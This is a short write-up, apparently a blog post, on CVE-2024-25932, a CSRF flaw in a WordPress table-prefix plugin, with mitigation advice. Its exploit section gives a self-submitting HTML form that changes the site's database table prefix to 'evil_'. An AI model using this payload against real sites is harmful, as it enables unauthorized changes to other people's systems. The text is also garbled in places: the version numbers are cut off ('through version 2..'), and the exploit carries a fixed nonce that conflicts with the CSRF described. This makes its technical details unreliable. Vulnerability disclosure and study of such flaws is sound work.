CVE-2024-25932: Uncovering the CSRF Vulnerability in Manish Kumar Agarwal's Change Table Prefix Plugin Versions Through 2.

A recent vulnerability discovery has been made in the popular Change Table Prefix plugin, developed by Manish Kumar Agarwal. The Cross-Site Request Forgery (CSRF) vulnerability, identified as CVE-2024-25932, affects all versions of the plugin from the initial release (n/a) through version 2.. This post aims to explore the details of the vulnerability, provide code snippets, and offer insights into possible exploitation approaches. To protect users and prevent malicious exploitation, it is highly recommended to upgrade to a fixed version as soon as possible.

CVE-2024-25932 Details

The CVE-2024-25932 vulnerability exists due to insufficient CSRF protection in the Change Table Prefix plugin's "change_prefix.php" script. This flaw allows an attacker to impersonate a logged-in user and change the WordPress table prefix by tricking the user into clicking on a malicious link or visiting a specially crafted webpage.

Exploit

To exploit this vulnerability, the attacker must craft a malicious link using an HTML form that contains POST data with the new table prefix value, something like:

<form action="http://www.example.com/wp-admin/options-general.php?page=change-table-prefix&amp;change-prefix-table_nonce=ad46ad23b"; method="post" id="exploit-form">
  <input type="hidden" name="new_prefix" value="evil_" />
  <input type="hidden" name="change-prefix-table_submit" value="submit" />
</form>
<script>
  document.getElementById("exploit-form").submit();
</script>

In this example, the table prefix will be changed to "evil_" once the user visits the malicious website or clicks the provided link, which would contain the crafted HTML code. By doing this, the attacker can potentially gain unauthorized access to the database and disrupt the website's functionality.

References and Mitigation

The issue has been responsibly reported to the plugin author, Manish Kumar Agarwal, who has acknowledged the vulnerability and has since provided a patch to fix the problem. The patch was introduced in version 2.1, so users are advised to update the plugin to the latest version immediately.
